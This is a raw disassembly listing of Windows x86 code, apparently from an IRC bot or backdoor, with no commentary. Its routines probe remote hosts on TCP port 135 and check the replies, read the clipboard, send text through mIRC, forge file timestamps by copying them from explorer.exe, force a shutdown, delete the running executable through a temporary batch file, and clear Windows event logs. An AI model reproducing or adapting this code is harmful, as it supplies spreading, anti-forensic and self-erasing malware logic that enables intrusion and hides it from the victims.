		call	__ftol
		cmp	esi, 3
		jz	short loc_4188D5
		cmp	eax, ebx
		jnz	short loc_41893F

loc_4188D5:				; CODE XREF: sub_418650+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41891A
		push	edi		; Str
		call	_strlen
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	ds:dbl_43C4C8
		call	__ftol
		mov	al, byte ptr a__3[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+Dst], al
		jmp	short loc_418938
; ---------------------------------------------------------------------------

loc_41891A:				; CODE XREF: sub_418650+28Fj
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43C4B8
		call	__ftol
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+Dst], cl

loc_418938:				; CODE XREF: sub_418650+2C8j
		inc	esi
		mov	[ebp+Count], ebx
		mov	[ebp+var_4], esi

loc_41893F:				; CODE XREF: sub_418650+1C9j
					; sub_418650+1F8j ...
		cmp	esi, 6
		jge	loc_4189C8
		cmp	esi, 5
		jge	short loc_418960
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43C4D0
		jmp	short loc_41897E
; ---------------------------------------------------------------------------

loc_418960:				; CODE XREF: sub_418650+2FBj
		call	_rand
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_43C4C8

loc_41897E:				; CODE XREF: sub_418650+30Ej
		call	__ftol
		test	eax, eax
		jnz	short loc_4189A1
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43C4A8
		call	__ftol
		mov	cl, 30h
		jmp	short loc_4189BE
; ---------------------------------------------------------------------------

loc_4189A1:				; CODE XREF: sub_418650+335j
		cmp	eax, 1
		jnz	short loc_4189C8
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43C4B8
		call	__ftol
		mov	cl, 41h

loc_4189BE:				; CODE XREF: sub_418650+34Fj
		sub	cl, al
		mov	[ebp+esi+Dst], cl
		inc	esi
		mov	[ebp+var_4], esi

loc_4189C8:				; CODE XREF: sub_418650+2F2j
					; sub_418650+354j
		cmp	[ebp+Count], 2
		jge	short loc_418A48
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	ds:dbl_43C4C8
		call	__ftol
		cmp	eax, 1
		jnz	short loc_418A48
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43C4A8
		call	__ftol
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+Dst], cl
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43C4A0
		call	__ftol
		cmp	eax, 1
		jnz	short loc_418A48
		cmp	[ebp+Count], eax
		jge	short loc_418A48
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43C498
		call	__ftol
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl

loc_418A48:				; CODE XREF: sub_418650+1B1j
					; sub_418650+37Cj ...
		lea	eax, [ebp+Dst]
		push	14h		; Count
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	_strncpy
		mov	eax, [ebp+Dest]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418650	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418A61(int,int,void *Buf2,size_t Size)

sub_418A61	proc near		; CODE XREF: .text:00418BBEp
					; .text:00418BE5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Buf2		= dword	ptr  10h
Size		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+Size]
		test	edi, edi
		jle	short loc_418A8F

loc_418A72:				; CODE XREF: sub_418A61+2Cj
		push	[ebp+Size]	; Size
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+Buf2]	; Buf2
		push	eax		; Buf1
		call	_memcmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418A95
		inc	esi
		cmp	esi, edi
		jl	short loc_418A72

loc_418A8F:				; CODE XREF: sub_418A61+Fj
		xor	al, al

loc_418A91:				; CODE XREF: sub_418A61+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_418A95:				; CODE XREF: sub_418A61+27j
		mov	al, 1
		jmp	short loc_418A91
sub_418A61	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	__alloca_probe
		mov	eax, [ebp+0Ch]
		push	esi
		dec	eax
		push	edi
		jz	short loc_418ADA
		dec	eax
		jz	short loc_418AB8
		dec	eax

loc_418AB2:				; CODE XREF: .text:00418AF0j
		xor	eax, eax

loc_418AB4:				; CODE XREF: .text:00418AD8j
					; .text:00418C02j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_418AB8:				; CODE XREF: .text:00418AAFj
		push	3
		push	1388h
		push	dword ptr [ebp+8]
		call	dword_4E3138	; inet_addr
		push	eax
		call	sub_40C6E7
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_418AB4
; ---------------------------------------------------------------------------

loc_418ADA:				; CODE XREF: .text:00418AACj
		push	6
		push	1
		push	2
		call	dword_4E3178	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+0Ch], esi
		jz	short loc_418AB2
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp-10h]
		push	ebx
		push	eax
		call	_memset
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		push	87h
		call	dword_4E30F8	; htons
		push	dword ptr [ebp+8]
		mov	[ebp-0Eh], ax
		call	sub_40AE55
		pop	ecx
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	dword_4E30A0	; connect
		cmp	eax, edi
		jz	loc_418BF6
		push	ebx
		push	48h
		push	offset dword_44FC30
		push	esi
		call	dword_4E3148	; send
		cmp	eax, edi
		jz	loc_418BF6
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		push	dword ptr [ebp+0Ch]
		call	dword_4E3110	; recv
		cmp	eax, edi
		jz	loc_418BF6
		cmp	byte ptr [ebp-200Eh], 0Ch
		jnz	short loc_418BF6
		push	ebx
		push	18h
		push	offset dword_44FC7C
		push	dword ptr [ebp+0Ch]
		call	dword_4E3148	; send
		cmp	eax, edi
		jz	short loc_418BF6
		push	ebx
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		push	dword ptr [ebp+0Ch]
		call	dword_4E3110	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_418BF6
		cmp	byte ptr [ebp-200Eh], 2
		jnz	short loc_418BF6
		push	10h
		push	offset dword_44FC98
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		call	sub_418A61
		add	esp, 10h
		test	al, al
		jz	short loc_418BD6
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_418BF6
; ---------------------------------------------------------------------------

loc_418BD6:				; CODE XREF: .text:00418BC8j
		push	10h
		push	offset dword_44FCAC
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		call	sub_418A61
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax

loc_418BF6:				; CODE XREF: .text:00418B34j
					; .text:00418B4Bj ...
		push	dword ptr [ebp+0Ch]
		call	dword_4E3190	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_418AB4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418C07(char *Src,char	*SubStr,char *Source)

sub_418C07	proc near		; CODE XREF: sub_401CC7+BD4p
					; sub_401CC7+C11p ...

Src		= dword	ptr  8
SubStr		= dword	ptr  0Ch
Source		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+Src]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_418C92
		mov	eax, [ebp+SubStr]
		cmp	eax, esi
		jz	short loc_418C92
		cmp	[ebp+Source], esi
		jz	short loc_418C92
		cmp	byte ptr [eax],	0
		jz	short loc_418C92
		push	ebx
		push	edi		; Src
		call	__strdup
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_418C8D
		push	[ebp+SubStr]	; SubStr
		push	edi		; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_418C86
		sub	eax, edi
		push	eax		; Count
		push	edi		; Source
		push	ebx		; Dest
		call	_strncpy
		push	[ebp+Source]	; Str
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	_strlen
		push	eax		; Count
		push	[ebp+Source]	; Source
		push	ebx		; Dest
		call	_strncat
		push	[ebp+SubStr]	; Str
		call	_strlen
		add	eax, esi
		push	eax		; Source
		push	ebx		; Dest
		call	_strcat
		push	ebx		; Source
		push	edi		; Dest
		call	_strcpy
		add	esp, 30h
		mov	esi, edi

loc_418C86:				; CODE XREF: sub_418C07+3Cj
		push	ebx		; Memory
		call	_free
		pop	ecx

loc_418C8D:				; CODE XREF: sub_418C07+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_418C94
; ---------------------------------------------------------------------------

loc_418C92:				; CODE XREF: sub_418C07+Cj
					; sub_418C07+13j ...
		xor	eax, eax

loc_418C94:				; CODE XREF: sub_418C07+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418C07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418C98(char *Str,int)

sub_418C98	proc near		; CODE XREF: sub_401B4F+E9p
					; sub_410C7D+F4p

Dst		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		mov	esi, [ebp+Str]
		push	esi		; Str
		call	_strlen
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418CCE
		or	eax, 0FFFFFFFFh
		jmp	short loc_418D41
; ---------------------------------------------------------------------------

loc_418CCE:				; CODE XREF: sub_418C98+2Fj
		xor	ecx, ecx
		mov	[ebp+Dst], esi
		test	eax, eax
		jle	short loc_418CF0

loc_418CDA:				; CODE XREF: sub_418C98+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_418CE7
		cmp	dl, 0Dh
		jnz	short loc_418CEB

loc_418CE7:				; CODE XREF: sub_418C98+48j
		and	byte ptr [ecx+esi], 0

loc_418CEB:				; CODE XREF: sub_418C98+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_418CDA

loc_418CF0:				; CODE XREF: sub_418C98+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418D21
		lea	edi, [ebp+var_7CC]

loc_418CFD:				; CODE XREF: sub_418C98+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418D1C
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418D1C
		cmp	ebx, 1F4h
		jge	short loc_418D21
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_418D1C:				; CODE XREF: sub_418C98+69j
					; sub_418C98+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418CFD

loc_418D21:				; CODE XREF: sub_418C98+5Dj
					; sub_418C98+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418D3F
		lea	eax, [ebp+Dst]
		push	7D0h		; Size
		push	eax		; Src
		push	[ebp+arg_4]	; Dst
		call	_memcpy
		add	esp, 0Ch

loc_418D3F:				; CODE XREF: sub_418C98+8Ej
		mov	eax, ebx

loc_418D41:				; CODE XREF: sub_418C98+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_418C98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D45	proc near		; CODE XREF: sub_418D9F+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418D7E
		push	ebx
		mov	ebx, edi

loc_418D62:				; CODE XREF: sub_418D45+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418D81
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418D62
		pop	ebx

loc_418D7E:				; CODE XREF: sub_418D45+18j
		pop	edi
		pop	esi
		retn
sub_418D45	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D81	proc near		; CODE XREF: sub_418D45+25p
					; sub_418D9F+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax		; C
		call	_tolower	; _tolower
		cmp	al, 61h
		pop	ecx
		jl	short loc_418D9C
		cmp	al, 7Ah
		jg	short loc_418D9C
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_418D9C:				; CODE XREF: sub_418D81+Ej
					; sub_418D81+12j
		xor	eax, eax
		retn
sub_418D81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418D9F(char *Str,int)

sub_418D9F	proc near		; CODE XREF: .text:00415D48p
					; .text:00415DCDp ...

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		push	[ebp+Str]	; Str
		call	_strlen
		push	[ebp+arg_4]	; Str
		mov	[ebp+var_4], eax
		call	_strlen
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418D45
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_418DDD:				; CODE XREF: sub_418D9F+B6j
		test	esi, esi
		jle	short loc_418E5B
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		mov	ebx, eax
		mov	eax, [ebp+Str]
		movsx	eax, byte ptr [edi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418E53

loc_418E03:				; CODE XREF: sub_418D9F+B2j
		mov	ebx, [ebp+Str]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418D81
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418E24
		mov	eax, ecx

loc_418E24:				; CODE XREF: sub_418D9F+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_418E57
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax		; C
		mov	[ebp+var_8], edx
		call	_tolower	; _tolower
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418E03

loc_418E53:				; CODE XREF: sub_418D9F+62j
		dec	edi
		dec	esi
		jmp	short loc_418DDD
; ---------------------------------------------------------------------------

loc_418E57:				; CODE XREF: sub_418D9F+8Aj
		xor	eax, eax
		jmp	short loc_418E60
; ---------------------------------------------------------------------------

loc_418E5B:				; CODE XREF: sub_418D9F+40j
		mov	eax, [ebp+Str]
		add	eax, edi

loc_418E60:				; CODE XREF: sub_418D9F+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418D9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E65	proc near		; CODE XREF: sub_401CC7+6824p
					; sub_401CC7+7954p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	ds:dword_4F542C	; FormatMessageA
		lea	eax, [ebp+var_100]

loc_418E9E:				; CODE XREF: sub_418E65+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418EAA
		cmp	cl, 9
		jnz	short loc_418EAD

loc_418EAA:				; CODE XREF: sub_418E65+3Ej
		inc	eax
		jmp	short loc_418E9E
; ---------------------------------------------------------------------------

loc_418EAD:				; CODE XREF: sub_418E65+43j
					; sub_418E65+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_418EC7
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418EAD
		cmp	cl, 21h
		jl	short loc_418EAD

loc_418EC7:				; CODE XREF: sub_418E65+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset byte_4F2994
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418E65	endp


; =============== S U B	R O U T	I N E =======================================



sub_418EEF	proc near		; CODE XREF: sub_401CC7+24BBp
		push	esi
		push	0
		call	dword_4E30C8	; OpenClipboard
		test	eax, eax
		jz	short loc_418F26
		push	1
		call	dword_4E30E8	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_418F26
		push	edi
		push	esi
		call	ds:dword_4F5434	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_4F5430	; GlobalUnlock
		call	dword_4E314C	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_418F26:				; CODE XREF: sub_418EEF+Bj
					; sub_418EEF+19j
		xor	eax, eax
		pop	esi
		retn
sub_418EEF	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_418F2A(char *Format)

sub_418F2A	proc near		; CODE XREF: sub_401CC7+770Ap

Format		= dword	ptr  4

		push	ebp
		push	esi
		xor	esi, esi
		push	esi
		push	offset aMirc_2	; "mIRC"
		call	dword_4E3104	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_418FAA
		push	ebx
		push	edi
		push	offset aMirc_3	; "mIRC"
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	ds:dword_4F5440	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	ds:dword_4F543C	; MapViewOfFile
		push	[esp+10h+Format] ; Format
		mov	ebx, eax
		push	ebx		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4E3154	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4E3154	; SendMessageA
		push	ebx
		call	ds:dword_4F5438	; UnmapViewOfFile
		push	edi
		call	ds:dword_4F533C	; CloseHandle
		push	1
		pop	eax
		pop	edi
		pop	ebx
		jmp	short loc_418FAC
; ---------------------------------------------------------------------------

loc_418FAA:				; CODE XREF: sub_418F2A+14j
		xor	eax, eax

loc_418FAC:				; CODE XREF: sub_418F2A+7Ej
		pop	esi
		pop	ebp
		retn
sub_418F2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FAF	proc near		; CODE XREF: WinMain(x,x,x,x)+212p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4E31B4	; SearchPathA
		test	eax, eax
		jz	short loc_41904E
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_4F53C0
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41904E
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	ds:dword_4F5448	; GetFileTime
		push	ebx
		mov	ebx, ds:dword_4F533C
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41904E
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_4F5444	; SetFileTime
		push	esi
		call	ebx	; CloseHandle

loc_41904E:				; CODE XREF: sub_418FAF+2Aj
					; sub_418FAF+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418FAF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 454h
		push	esi
		xor	esi, esi
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	_memset
		push	44h
		lea	eax, [ebp-54h]
		push	esi
		push	eax
		call	_memset
		add	esp, 18h
		lea	eax, [ebp-454h]
		mov	dword ptr [ebp-54h], 44h
		mov	dword ptr [ebp-28h], 1
		push	dword ptr [ebp+0Ch]
		mov	[ebp-24h], si
		push	dword ptr [ebp+8]
		push	offset aSS_11	; "%s %s"
		push	400h
		push	eax
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-54h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-454h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4F5340	; CreateProcessA
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, [ebp-8]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4190D4	proc near		; CODE XREF: sub_401CC7+16A2p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41A51E
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4E3038	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_4190D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4190F6	proc near		; CODE XREF: sub_401CC7+2745p
					; sub_416F62+472p

Str		= byte ptr -764h
var_364		= byte ptr -364h
Dest		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
Dst		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_43F090, esi
		push	edi
		jz	short loc_41911A
		cmp	dword_4E31C8, esi
		jnz	short loc_41911A
		push	esi		; Str
		call	sub_401000
		pop	ecx

loc_41911A:				; CODE XREF: sub_4190F6+13j
					; sub_4190F6+1Bj
		call	sub_40B91F
		lea	eax, [ebp+Str]
		push	eax
		push	400h
		call	ds:dword_4F5384	; GetTempPathA
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dest]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_4F53C0	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_41927A
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	edi
		call	ds:dword_4F53B4	; WriteFile
		push	edi
		call	ds:dword_4F533C	; CloseHandle
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_4F2B98
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	ds:dword_4F5370	; GetModuleHandleA
		push	eax
		call	ds:dword_4F5344	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_4F536C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419222
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	ds:dword_4F5368	; SetFileAttributesA

loc_419222:				; CODE XREF: sub_4190F6+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		call	ds:dword_4F544C	; ExpandEnvironmentStringsA
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	ds:dword_4F5340	; CreateProcessA

loc_41927A:				; CODE XREF: sub_4190F6+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4190F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41927E(int,char *Str,int,int,int)

sub_41927E	proc near		; CODE XREF: sub_401CC7+72DBp

Dest		= byte ptr -294h
Dst		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		mov	[ebp+Dst], 94h
		push	eax
		call	ds:dword_4F539C	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_419314
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4E3078	; OpenEventLogA
		push	edi
		push	eax
		call	dword_4E3088	; ClearEventLogA
		test	eax, eax
		jz	short loc_419306
		push	[ebp+arg_10]
		push	offset asc_44FD78 ; "-"

loc_4192DF:				; CODE XREF: sub_41927E+94j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h
		jmp	short loc_41933E
; ---------------------------------------------------------------------------

loc_419306:				; CODE XREF: sub_41927E+57j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44FD94
		jmp	short loc_4192DF
; ---------------------------------------------------------------------------

loc_419314:				; CODE XREF: sub_41927E+3Fj
		lea	eax, [ebp+Dest]
		push	offset asc_44FDBC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Dest]
